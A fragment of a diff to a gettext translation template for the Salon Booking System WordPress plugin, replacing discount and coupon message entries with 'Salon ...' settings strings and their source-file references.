build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166\n-msgid \"Add New Discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:22\n+msgid \"Salon Extensions\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:167\n-msgid \"Edit Discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:22\n+msgid \"Salon information\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:168, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:168, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:168\n-msgid \"New Discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:137\n+msgid \"Salon Manager\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:169, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:169, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:169\n-msgid \"View Discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:62\n+msgid \"Salon name\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:170\n-msgid \"Search Discounts\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:64\n+msgid \"Salon phone\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:171, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:171, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:171\n-msgid \"No discounts found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18\n+msgid \"Salon Reports\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:172, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:172, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:172\n-msgid \"No discounts found in trash\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:210\n+msgid \"Salon Resource\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:173\n-msgid \"Discounts Archive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:254\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:254\n+msgid \"Salon Service\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:412, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:412, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:412\n-msgid \"Booking session is invalid. Please start a new booking.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:34\n+msgid \"Salon Settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:423, src\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:423, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:423, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:423, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:423, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:42\n-msgid \"Please select at least one service before applying a discount code.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93\n+msgid \"Salon staff\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:447, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:447, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:400, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:447, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:447\n-msgid \"This coupon is not valid for selected shop\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:138\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:138\n+msgid \"Salon Staff Member\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:510, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:510, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:463, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:510\n-msgid \"This coupon is not valid for selected assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:56\n+msgid \"Salon telephone number\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:545, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:545, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:545\n-msgid \"This coupon was applied maximum number of times\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:38\n+msgid \"Salon Tools\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:542, src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:633, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:542, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:633, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:542, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:633, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:586, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:542, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:633, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:542, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:633\n-msgid \"Coupon expired\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:78\n+msgid \"Sample button\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:559, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:559, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:559, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:512, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:559, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:559\n-msgid \"You applied this coupon maximum number of times\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:77\n+msgid \"Sample input\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:587, src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:606, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:587, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:606, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:587, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:606, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:540, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:559, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:587, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:606, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:587, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:606\n-msgid \"This coupon is not valid for selected services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:76\n+msgid \"Sample label\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:675, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:675, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:628, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:675\n-msgid \"Make more customer score to be able to use this coupon\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:75\n+msgid \"Sample page\u002Fstep title\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:668, src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:656, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:668, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:656, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:668, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:656, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:668, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:656, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:668, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:656\n-msgid \"Make more bookings to be able to use this coupon\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:35\n+msgid \"Saturday\"\n msgstr \"\"\n \n-#: src\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:642, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:642, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:642\n-msgid \"This coupon is not valid on %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:445\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 